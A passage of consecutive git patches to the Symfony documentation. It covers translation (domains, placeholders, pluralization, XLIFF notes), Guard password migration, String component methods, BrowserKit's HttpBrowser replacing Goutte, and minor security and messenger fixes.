+                        // id is symfony.has.bundles
+                        'bundles' => 'Symfony has bundles',
+                    ],
+                ],
+                'user' => [
+                    // id is user.login
+                    'login' => 'Login',
+                ],
+            ];
+
 The Translation Process
 ~~~~~~~~~~~~~~~~~~~~~~~
 
 To actually translate the message, Symfony uses a simple process:
 
-* The ``locale`` of the current user, which is stored on the request is determined;
+#. The ``locale`` of the current user, which is stored on the request is determined;
 
-* A catalog (e.g. big collection) of translated messages is loaded from translation
-  resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-  :ref:`fallback locale <translation-fallback>` are also loaded and
-  added to the catalog if they don't already exist. The end result is a large
-  "dictionary" of translations.
+#. A catalog (i.e. big collection) of translated messages is loaded from translation
+   resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
+   :ref:`fallback locale <translation-fallback>` are also loaded and
+   added to the catalog if they don't already exist. The end result is a large
+   "dictionary" of translations.
 
-* If the message is located in the catalog, the translation is returned. If
-  not, the translator returns the original message.
+#. If the message is located in the catalog, the translation is returned. If
+   not, the translator returns the original message.
 
 When using the ``trans()`` method, Symfony looks for the exact string inside
 the appropriate message catalog and returns it (if it exists).
 
+.. _using-message-domains:
+
+Using Message Domains
+~~~~~~~~~~~~~~~~~~~~~
+
+As you've seen, message files are organized into the different locales that
+they translate. The message files can also be organized further into "domains".
+
+The domain is the filename without the extension. The default domain is
+``messages``. Translations can for example be split into three different
+domains: ``messages``, ``admin`` and ``navigation``. The French translation
+would be organized in these files:
+
+* ``app/Resources/translations/messages.fr.yml``
+* ``app/Resources/translations/admin.fr.yml``
+* ``app/Resources/translations/navigation.fr.yml``
+
+When translating strings that are not in the default domain (``messages``),
+you must specify the domain as the third argument of ``trans()``::
+
+    $translator->trans('Symfony is great', [], 'admin');
+
 Message Placeholders
---------------------
+~~~~~~~~~~~~~~~~~~~~
 
 Sometimes, a message containing a variable needs to be translated::
 
@@ -193,10 +284,65 @@ Sometimes, a message containing a variable needs to be translated::
 
 However, creating a translation for this string is impossible since the translator
 will try to look up the exact message, including the variable portions
-(e.g. *"Hello Ryan"* or *"Hello Fabien"*).
+(e.g. *"Hello Ryan"* or *"Hello Fabien"*). Instead of writing a translation
+for every possible iteration of the ``$name`` variable, you can replace the
+variable with a "placeholder"::
+
+    // ...
+
+    public function indexAction($name)
+    {
+        $translated = $this->get('translator')->trans('Hello %name%');
+
+        // ...
+    }
+
+Symfony will now look for a translation of the raw message (``Hello %name%``)
+and *then* replace the placeholders with their values. Creating a translation
+is done just as before:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        'Hello %name%': Bonjour %name%
+
+    .. code-block:: xml
+
+        <?xml version="1.0"?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                    <trans-unit id="1">
+                        <source>Hello %name%</source>
+                        <target>Bonjour %name%</target>
+                    </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        return [
+            'Hello %name%' => 'Bonjour %name%',
+        ];
 
-For details on how to handle this situation, see :ref:`component-translation-placeholders`
-in the components documentation. For how to do this in templates, see :ref:`translation-tags`.
+.. note::
+
+    The placeholders can take on any form as the full message is reconstructed
+    using the PHP :phpfunction:`strtr function<strtr>`. But the ``%...%`` form
+    is recommended, to avoid problems when using Twig.
+
+As you've seen, creating a translation is a two-step process:
+
+#. Abstract the message that needs to be translated by processing it through
+   the ``Translator``.
+
+#. Create a translation for the message in each locale that you choose to
+   support.
+
+The second step is done by creating message catalogs that define the translations
+for any number of different locales.
 
 Pluralization
 -------------
@@ -209,11 +355,133 @@ plural, based on some variable:
     There is one apple.
     There are 5 apples.
 
-To handle this, use the :method:`Symfony\\Component\\Translation\\Translator::transChoice`
+When a translation has different forms due to pluralization, you can provide
+all the forms as a string separated by a pipe (``|``)::
+
+    'There is one apple|There are %count% apples'
+
+To translate these messages, use the
+:method:`Symfony\\Component\\Translation\\Translator::transChoice`
 method or the ``transchoice`` tag/filter in your :ref:`template <translation-tags>`.
+To translate pluralized messages, use the
+:method:`Symfony\\Component\\Translation\\Translator::transChoice` method::
+
+    // the %count% placeholder is assigned to the second argument...
+    $this->get('translator')->transChoice(
+        'There is one apple|There are %count% apples',
+        10
+    );
+
+    // ...but you can define more placeholders if needed
+    $this->get('translator')->transChoice(
+        'Hurry up %name%! There is one apple left.|There are %count% apples left.',
+        10,
+        // no need to include %count% here; Symfony does that for you
+        ['%name%' => $user->getName()]
+    );
+
+The second argument (``10`` in this example) is the *number* of objects being
+described and is used to determine which translation to use and also to populate
+the ``%count%`` placeholder.
+
+.. versionadded:: 3.2
+
+    Before Symfony 3.2, the placeholder used to select the plural (``%count%``
+    in this example) must be included in the third optional argument of the
+    ``transChoice()`` method::
+
+        $translator->transChoice(
+            'There is one apple|There are %count% apples',
+            10,
+            ['%count%' => 10]
+        );
+
+    Starting from Symfony 3.2, when the only placeholder is ``%count%``, you
+    don't have to pass this third argument.
+
+Based on the given number, the translator chooses the right plural form.
+In English, most words have a singular form when there is exactly one object
+and a plural form for all other numbers (0, 2, 3...). So, if ``count`` is
+``1``, the translator will use the first string (``There is one apple``)
+as the translation. Otherwise it will use ``There are %count% apples``.
+
+Here is the French translation::
+
+    'Il y a %count% pomme|Il y a %count% pommes'
+
+Even if the string looks similar (it is made of two sub-strings separated by a
+pipe), the French rules are different: the first form (no plural) is used when
+``count`` is ``0`` or ``1``. So, the translator will automatically use the
+first string (``Il y a %count% pomme``) when ``count`` is ``0`` or ``1``.
 
-For much more information, see :ref:`component-translation-pluralization`
-in the Translation component documentation.
+Each locale has its own set of rules, with some having as many as six different
+plural forms with complex rules behind which numbers map to which plural form.
+The rules are quite simple for English and French, but for Russian, you'd
+may want a hint to know which rule matches which string. To help translators,
+you can optionally "tag" each string:
+
+.. code-block:: text
+
+    'one: There is one apple|some: There are %count% apples'
+
+    'none_or_one: Il y a %count% pomme|some: Il y a %count% pommes'
+
+The tags are really only hints for translators and don't affect the logic
+used to determine which plural form to use. The tags can be any descriptive
+string that ends with a colon (``:``). The tags also do not need to be the
+same in the original message as in the translated one.
+
+.. tip::
+
+    As tags are optional, the translator doesn't use them (the translator will
+    only get a string based on its position in the string).
+
+Explicit Interval Pluralization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The easiest way to pluralize a message is to let the Translator use internal
+logic to choose which string to use based on a given number. Sometimes, you'll
+need more control or want a different translation for specific cases (for
+``0``, or when the count is negative, for example). For such cases, you can
+use explicit math intervals:
+
+.. code-block:: text
+
+    '{0} There are no apples|{1} There is one apple|]1,19] There are %count% apples|[20,Inf[ There are many apples'
+
+The intervals follow the `ISO 31-11`_ notation. The above string specifies
+four different intervals: exactly ``0``, exactly ``1``, ``2-19``, and ``20``
+and higher.
+
+You can also mix explicit math rules and standard rules. In this case, if
+the count is not matched by a specific interval, the standard rules take
+effect after removing the explicit rules:
+
+.. code-block:: text
+
+    '{0} There are no apples|[20,Inf[ There are many apples|There is one apple|a_few: There are %count% apples'
+
+For example, for ``1`` apple, the standard rule ``There is one apple`` will
+be used. For ``2-19`` apples, the second standard rule
+``There are %count% apples`` will be selected.
+
+An :class:`Symfony\\Component\\Translation\\Interval` can represent a finite set
+of numbers:
+
+.. code-block:: text
+
+    {1,2,3,4}
+
+Or numbers between two other numbers:
+
+.. code-block:: text
+
+    [1, +Inf[
+    ]-1,2[
+
+The left delimiter can be ``[`` (inclusive) or ``]`` (exclusive). The right
+delimiter can be ``[`` (exclusive) or ``]`` (inclusive). Beside numbers, you
+can use ``-Inf`` and ``+Inf`` for the infinite.
 
 Translations in Templates
 -------------------------
@@ -326,6 +594,28 @@ The translator service is accessible in PHP templates through the
         ['%count%' => 10]
     ) ?>
 
+Forcing the Translator Locale
+-----------------------------
+
+When translating a message, the translator uses the specified locale or the
+``fallback`` locale if necessary. You can also manually specify the locale to
+use for translation::
+
+    $translator->trans(
+        'Symfony is great',
+        [],
+        'messages',
+        'fr_FR'
+    );
+
+    $translator->transChoice(
+        '{0} There are no apples|{1} There is one apple|]1,Inf[ There are %count% apples',
+        10,
+        [],
+        'messages',
+        'fr_FR'
+    );
+
 Extracting Translation Contents and Updating Catalogs Automatically
 -------------------------------------------------------------------
 
@@ -388,15 +678,32 @@ must be named according to the following path: ``domain.locale.loader``:
   ``php``, ``yml``, etc).
 
 The loader can be the name of any registered loader. By default, Symfony
-provides many loaders, including:
-
-* ``xlf``: XLIFF file;
-* ``php``: PHP file;
-* ``yml``: YAML file.
+provides many loaders:
+
+* ``.yaml``: YAML file
+* ``.xlf``: XLIFF file;
+* ``.php``: Returning a PHP array;
+* ``.csv``: CSV file;
+* ``.json``: JSON file;
+* ``.ini``: INI file;
+* ``.dat``, ``.res``: ICU resource bundle;
+* ``.mo``: Machine object format;
+* ``.po``: Portable object format;
+* ``.qt``: QT Translations XML file;
 
 The choice of which loader to use is entirely up to you and is a matter of
-taste. The recommended option is to use ``xlf`` for translations.
-For more options, see :ref:`component-translator-message-catalogs`.
+taste. The recommended option is to use YAML for simple projects and use XLIFF
+if you're generating translations with specialized programs or teams.
+
+.. caution::
+
+    Each time you create a *new* message catalog (or install a bundle
+    that includes a translation catalog), be sure to clear your cache so
+    that Symfony can discover the new translation resources:
+
+    .. code-block:: terminal
+
+        $ php bin/console cache:clear
 
 .. note::
 
@@ -451,16 +758,6 @@ For more options, see :ref:`component-translator-message-catalogs`.
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
     See the :ref:`dic-tags-translation-loader` tag for more information.
 
-.. caution::
-
-    Each time you create a *new* translation resource (or install a bundle
-    that includes a translation resource), be sure to clear your cache so
-    that Symfony can discover the new translation resources:
-
-    .. code-block:: terminal
-
-        $ php bin/console cache:clear
-
 .. _translation-fallback:
 
 Fallback Translation Locales
@@ -515,8 +812,7 @@ steps:
 
 * Abstract messages in your application by wrapping each in either the
   :method:`Symfony\\Component\\Translation\\Translator::trans` or
-  :method:`Symfony\\Component\\Translation\\Translator::transChoice` methods
-  (learn about this in :doc:`/components/translation/usage`);
+  :method:`Symfony\\Component\\Translation\\Translator::transChoice` methods;
 
 * Translate each message into multiple locales by creating translation message
   files. Symfony discovers and processes each file because its name follows
@@ -533,9 +829,11 @@ Learn more
     :glob:
 
     /translation/*
+    /validation/translations
 
 .. _`i18n`: https://en.wikipedia.org/wiki/Internationalization_and_localization
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
+.. _`ISO 31-11`: https://en.wikipedia.org/wiki/Interval_(mathematics)#Notations_for_intervals
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
diff --git a/translation/xliff.rst b/translation/xliff.rst
new file mode 100644
index 00000000000..c81620929b8
--- /dev/null
+++ b/translation/xliff.rst
@@ -0,0 +1,44 @@
+The XLIFF format
+================
+
+Most professional translation tools support XLIFF_. These files use the XML
+format and are supported by Symfony by default. Besides supporting
+:doc:`all Symfony translation features </translation>`, the XLIFF format also
+has some specific features.
+
+Adding Notes to Translation Contents
+------------------------------------
+
+.. versionadded:: 3.4
+
+    The feature to load and dump translation notes was introduced in Symfony 3.4.
+
+Sometimes translators need additional context to better decide how to translate
+some content. This context can be provided with notes, which are a collection of
+comments used to store end user readable information. The only format that
+supports loading and dumping notes is XLIFF version 2.
+
+If the XLIFF 2.0 document contains ``<notes>`` nodes, they are automatically
+loaded/dumped inside a Symfony application:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8"?>
+    <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
+        srcLang="fr-FR" trgLang="en-US">
+        <file id="messages.en_US">
+            <unit id="LCa0a2j">
+                <notes>
+                    <note category="state">new</note>
+                    <note category="approved">true</note>
+                    <note category="section" priority="1">user login</note>
+                </notes>
+                <segment>
+                    <source>original-content</source>
+                    <target>translated-content</target>
+                </segment>
+            </unit>
+        </file>
+    </xliff>
+
+.. _XLIFF: http://docs.oasis-open.org/xliff/xliff-core/v2.1/xliff-core-v2.1.html

From ea43e0dc50e7d9fc9a53a60ff853373c843c8a3b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 26 Dec 2019 20:40:20 +0100
Subject: [PATCH 0115/7107] Document PasswordAuthenticatedInterface

---
 security/password_migration.rst | 31 +++++++++++++++++++++++++++++--
 1 file changed, 29 insertions(+), 2 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 7ce2d08d153..45351bb3d8c 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -119,14 +119,41 @@ Upgrade the Password
 
 Upon successful login, the Security system checks whether a better algorithm
 is available to hash the user's password. If it is, it'll hash the correct
-password using the new hash. You can enable this behavior by implementing how
-this newly hashed password should be stored:
+password using the new hash. If you use a Guard authenticator, you first need to
+`provide the original password to the Security system <Provide the Password when using Guards>`_.
+
+You can enable the upgrade behavior by implementing how this newly hashed
+password should be stored:
 
 * `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_ 
 * `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_ 
 
 After this, you're done and passwords are always hashed as secure as possible!
 
+Provide the Password when using Guard
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
+you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
+This interface defines a ``getPassword()`` method that returns the password
+for this login request. This password is used in the migration process::
+
+    // src/Security/CustomAuthenticator.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
+    // ...
+
+    class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface
+    {
+        // ...
+
+        public function getPassword($credentials): ?string
+        {
+            return $credentials['password'];
+        }
+    }
+
 Upgrade the Password when using Doctrine
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From aa34b5909e59cc682ed1655e1ad998c09010bb42 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sat, 28 Dec 2019 14:59:53 +0100
Subject: [PATCH 0116/7107] Update user_checkers.rst

---
 security/user_checkers.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 24d0e4051e1..c188139d9ec 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -23,7 +23,6 @@ are not met, an exception should be thrown which extends the
     use App\Exception\AccountDeletedException;
     use App\Security\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 

From ff6ce214557474e03139104657c366d505518f7b Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sat, 28 Dec 2019 15:09:04 +0100
Subject: [PATCH 0117/7107] Update multiple_guard_authenticators.rst

---
 security/multiple_guard_authenticators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 53e8972557c..356015681b0 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -68,7 +68,7 @@ This is how your security configuration can look in action:
                 'default' => [
                     'anonymous' => null,
                     'guard' => [
-                        'entry_point' => '',
+                        'entry_point' => LoginFormAuthenticator::class,
                         'authenticators' => [
                             LoginFormAuthenticator::class,
                             FacebookConnectAuthenticator::class,

From 9a4d9cdbaab623b52da8945e22b74b14819744fe Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 29 Dec 2019 00:14:30 +0100
Subject: [PATCH 0118/7107] Add documentation for new reverse() method

---
 components/string.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 068f7fc02a2..dc49c565f31 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -358,6 +358,19 @@ Methods to Join, Split and Truncate
     // breaks the string into pieces of the length given as argument
     u('0123456789')->chunk(3);  // ['012', '345', '678', '9']
 
+.. versionadded:: 5.1
+
+    The reverse() method was introduced in Symfony 5.1.
+
+Method to Reverse
+~~~~~~~~~~~~~~~~~
+
+::
+
+    // reverses the order of characters in a string
+    u('foo bar')->reverse(); // 'rab oof'
+    u('さよなら')->reverse(); // 'らなよさ'
+
 Methods Added by ByteString
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 50898ae6fe413bb034bfa1b82153b523a46e7be4 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 31 Dec 2019 16:25:53 +0100
Subject: [PATCH 0119/7107] Replace references to Goutte with HttpBrowser

---
 components/browser_kit.rst |  7 ++++---
 components/dom_crawler.rst | 16 +++++++++-------
 2 files changed, 13 insertions(+), 10 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 1fa554a5c0f..8108bf8f816 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -59,9 +59,10 @@ This method accepts a request and should return a response::
     }
 
 For a simple implementation of a browser based on the HTTP layer, have a look
-at `Goutte`_. For an implementation based on ``HttpKernelInterface``, have
-a look at the :class:`Symfony\\Component\\HttpKernel\\Client` provided by
-the :doc:`HttpKernel component </components/http_kernel>`.
+at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
+:ref:`this component <component-browserkit-external-requests>`. For an implementation based
+on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client`
+provided by the :doc:`HttpKernel component </components/http_kernel>`.
 
 Making Requests
 ~~~~~~~~~~~~~~~
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index cdf2d6faa0b..33715b56e28 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -581,15 +581,18 @@ of the information you need to create a POST request for the form::
 
     // now use some HTTP client and post using this information
 
-One great example of an integrated system that uses all of this is `Goutte`_.
-Goutte understands the Symfony Crawler object and can use it to submit forms
+One great example of an integrated system that uses all of this is
+the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
+the :doc:`BrowserKit component </components/browser_kit>`.
+It understands the Symfony Crawler object and can use it to submit forms
 directly::
 
-    use Goutte\Client;
+    use Symfony\Component\BrowserKit\HttpBrowser;
+    use Symfony\Component\HttpClient\HttpClient;
 
     // makes a real request to an external site
-    $client = new Client();
-    $crawler = $client->request('GET', 'https://github.com/login');
+    $browser = new HttpBrowser(HttpClient::create());
+    $crawler = $browser->request('GET', 'https://github.com/login');
 
     // select the form and fill in some values
     $form = $crawler->selectButton('Sign in')->form();
@@ -597,7 +600,7 @@ directly::
     $form['password'] = 'anypass';
 
     // submits the given form
-    $crawler = $client->submit($form);
+    $crawler = $browser->submit($form);
 
 .. _components-dom-crawler-invalid:
 
@@ -622,5 +625,4 @@ Learn more
 * :doc:`/testing`
 * :doc:`/components/css_selector`
 
-.. _`Goutte`: https://github.com/FriendsOfPHP/Goutte
 .. _`html5-php library`: https://github.com/Masterminds/html5-php

From 8c68270589aa1a4e21e48e1ce655766083038f2a Mon Sep 17 00:00:00 2001
From: Wojciech M <wmiedzybrodzki@outlook.com>
Date: Tue, 31 Dec 2019 16:46:23 +0100
Subject: [PATCH 0120/7107] add url to bootstrap.php for older versions

doc states that "changes can be made to any Symfony 3.4 or higher app", which requires different bootstrap.php
---
 configuration/dot-env-changes.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index 280a40c8d63..c0161b18a23 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -47,7 +47,8 @@ changes can be made to any Symfony 3.4 or higher app:
 
 #. Create a new `config/bootstrap.php`_ file in your project. This file loads Composer's
    autoloader and loads all the ``.env`` files as needed (note: in an earlier recipe,
-   this file was called ``src/.bootstrap.php``).
+   this file was called ``src/.bootstrap.php``).  
+   For Symfony 3.3 - 4.1 please use `3.3/config/bootstrap.php`_
 
 #. Update your `public/index.php`_ (`index.php diff`_) file to load the new ``config/bootstrap.php``
    file. If you've customized this file, make sure to keep those changes (but use
@@ -89,6 +90,7 @@ changes can be made to any Symfony 3.4 or higher app:
    file.
 
 .. _`config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/bootstrap.php
+.. _`3.3/config/bootstrap.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/bootstrap.php
 .. _`public/index.php`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/public/index.php
 .. _`index.php diff`: https://github.com/symfony/recipes/compare/8a4e5555e30d5dff64275e2788a901f31a214e79...86e2b6795c455f026e5ab0cba2aff2c7a18511f7#diff-7d73eabd1e5eb7d969ddf9a7ce94f954
 .. _`bin/console`: https://github.com/symfony/recipes/blob/master/symfony/console/3.3/bin/console

From 122e48788935104f48f7fd21e310f935544f9c56 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Wed, 1 Jan 2020 11:09:07 +0100
Subject: [PATCH 0121/7107] backport some tweaks from 5.0 docs

---
 security/guard_authentication.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 734a8c3efac..14159a25cc0 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -333,7 +333,7 @@ Finally, configure your ``firewalls`` key in ``security.yml`` to use this authen
                     'logout'         => true,
                     'guard'          => [
                         'authenticators'  => [
-                            TokenAuthenticator::class
+                            TokenAuthenticator::class,
                         ],
                     ],
                     // ...
@@ -419,7 +419,7 @@ Each authenticator needs the following methods:
     the user authenticate (e.g. a 401 response that says "token is missing!").
 
 **supportsRememberMe()**
-    If you want to support "remember me" functionality, return true from this method.
+    If you want to support "remember me" functionality, return ``true`` from this method.
     You will still need to activate ``remember_me`` under your firewall for it to work.
     Since this is a stateless API, you do not want to support "remember me"
     functionality in this example.
@@ -428,7 +428,8 @@ Each authenticator needs the following methods:
     If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
     instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
     class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token
+    after a successful authentication to create and return the token (a
+    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
     for the user, who was supplied as the first argument.
 
 The picture below shows how Symfony calls Guard Authenticator methods:

From 43f4422098f6145894386c90181962dc56cbcd48 Mon Sep 17 00:00:00 2001
From: Mikhail Kamarouski <4569734+boajer@users.noreply.github.com>
Date: Tue, 24 Dec 2019 15:41:41 +0300
Subject: [PATCH 0122/7107] Update injection_types.rst

Typo fixed in the code snippet
---
 service_container/injection_types.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index fd383ff11ed..2a728de4879 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -353,7 +353,7 @@ Another possibility is setting public fields of the class directly::
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set('app.newsletter_manager, NewsletterManager::class)
+            $services->set('app.newsletter_manager', NewsletterManager::class)
                 ->property('mailer', ref('mailer'));
         };
 

From 3d26e1f1ecc79a4806ad4e2cc212725e6abb600b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Wed, 1 Jan 2020 11:20:18 +0100
Subject: [PATCH 0123/7107] minor tweaks

---
 security/password_migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 7ba3c6e43cd..5565677133c 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -120,7 +120,7 @@ Upgrade the Password
 Upon successful login, the Security system checks whether a better algorithm
 is available to hash the user's password. If it is, it'll hash the correct
 password using the new hash. If you use a Guard authenticator, you first need to
-`provide the original password to the Security system <Provide the Password when using Guards>`_.
+`provide the original password to the Security system <Provide the Password when using Guard>`_.
 
 You can enable the upgrade behavior by implementing how this newly hashed
 password should be stored:
@@ -150,7 +150,7 @@ for this login request. This password is used in the migration process::
 
         public function getPassword($credentials): ?string
         {
-            return $credentials['password'];
+            return $credentials['password'] ?? null;
         }
     }
 

From 4c73d383300f2e63638c336d27fb4131174d00a5 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Sat, 21 Dec 2019 20:31:18 +0100
Subject: [PATCH 0124/7107] Update custom-transport.rst

---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index 045f8ffa389..09b356407ac 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -17,7 +17,7 @@ DSN. You will need a transport factory::
 
     class YourTransportFactory implements TransportFactoryInterface
     {
-        public function createTransport(string $dsn, array $options): TransportInterface
+        public function createTransport(string $dsn, array $options, SerializerInterface $serializer): TransportInterface
         {
             return new YourTransport(/* ... */);
         }

From 1a1e9c6b8d2046616aaf2bdce5a39d617037f9b6 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Wed, 1 Jan 2020 11:24:31 +0100
Subject: [PATCH 0125/7107] [#12835] add use statement

---
 messenger/custom-transport.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index 09b356407ac..e0fbcb3ca23 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -12,6 +12,7 @@ DSN. You will need a transport factory::
 
     use Symfony\Component\Messenger\Transport\Receiver\ReceiverInterface;
     use Symfony\Component\Messenger\Transport\Sender\SenderInterface;
+    use Symfony\Component\Messenger\Transport\Serialization\SerializerInterface;
     use Symfony\Component\Messenger\Transport\TransportFactoryInterface;
     use Symfony\Component\Messenger\Transport\TransportInterface;
 

From d507793989968a3e9216faa6706dcdedb7cb0c0e Mon Sep 17 00:00:00 2001
From: fancyweb <calvet.thomas@gmail.com>
Date: Wed, 1 Jan 2020 15:19:04 +0100
Subject: [PATCH 0126/7107] [String] Replace codePoint by codePointsAt

---
 components/string.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 068f7fc02a2..b388e02a2d1 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -388,8 +388,8 @@ objects::
 
     // returns the value of the code point stored at the given position
     // (code points of 'नमस्ते' graphemes = [2344, 2350, 2360, 2340]
-    u('नमस्ते')->codePoint(0); // 2344
-    u('नमस्ते')->codePoint(2); // 2360
+    u('नमस्ते')->codePointsAt(0); // 2344
+    u('नमस्ते')->codePointsAt(2); // 2360
 
 `Unicode equivalence`_ is the specification by the Unicode standard that
 different sequences of code points represent the same character. For example,

From caecbec6dbad5801bcf6b1c87256f63d2eaa693b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 08:45:12 +0100
Subject: [PATCH 0127/7107] Minor tweak

---
 security/password_migration.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security/password_migration.rst b/security/password_migration.rst
index 5565677133c..d71e8754275 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -125,8 +125,8 @@ password using the new hash. If you use a Guard authenticator, you first need to
 You can enable the upgrade behavior by implementing how this newly hashed
 password should be stored:
 
-* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_ 
-* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_ 
+* `When using Doctrine's entity user provider <Upgrade the Password when using Doctrine>`_
+* `When using a custom user provider <Upgrade the Password when using a custom User Provider>`_
 
 After this, you're done and passwords are always hashed as secure as possible!
 
@@ -150,7 +150,7 @@ for this login request. This password is used in the migration process::
 
         public function getPassword($credentials): ?string
         {
-            return $credentials['password'] ?? null;
+            return $credentials['password'];
         }
     }
 

From 9fb4110b7ed54d0b3aa249cdcbfaf593ebb2b1ac Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2020 08:53:42 +0100
Subject: [PATCH 0128/7107] Minor tweaks

---
 components/string.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index b388e02a2d1..83a3f875491 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -386,10 +386,10 @@ objects::
     u('さよなら')->ascii(); // 'sayonara'
     u('спасибо')->ascii(); // 'spasibo'
 
-    // returns the value of the code point stored at the given position
+    // returns an array with the code point or points stored at the given position
     // (code points of 'नमस्ते' graphemes = [2344, 2350, 2360, 2340]
-    u('नमस्ते')->codePointsAt(0); // 2344
-    u('नमस्ते')->codePointsAt(2); // 2360
+    u('नमस्ते')->codePointsAt(0); // [2344]
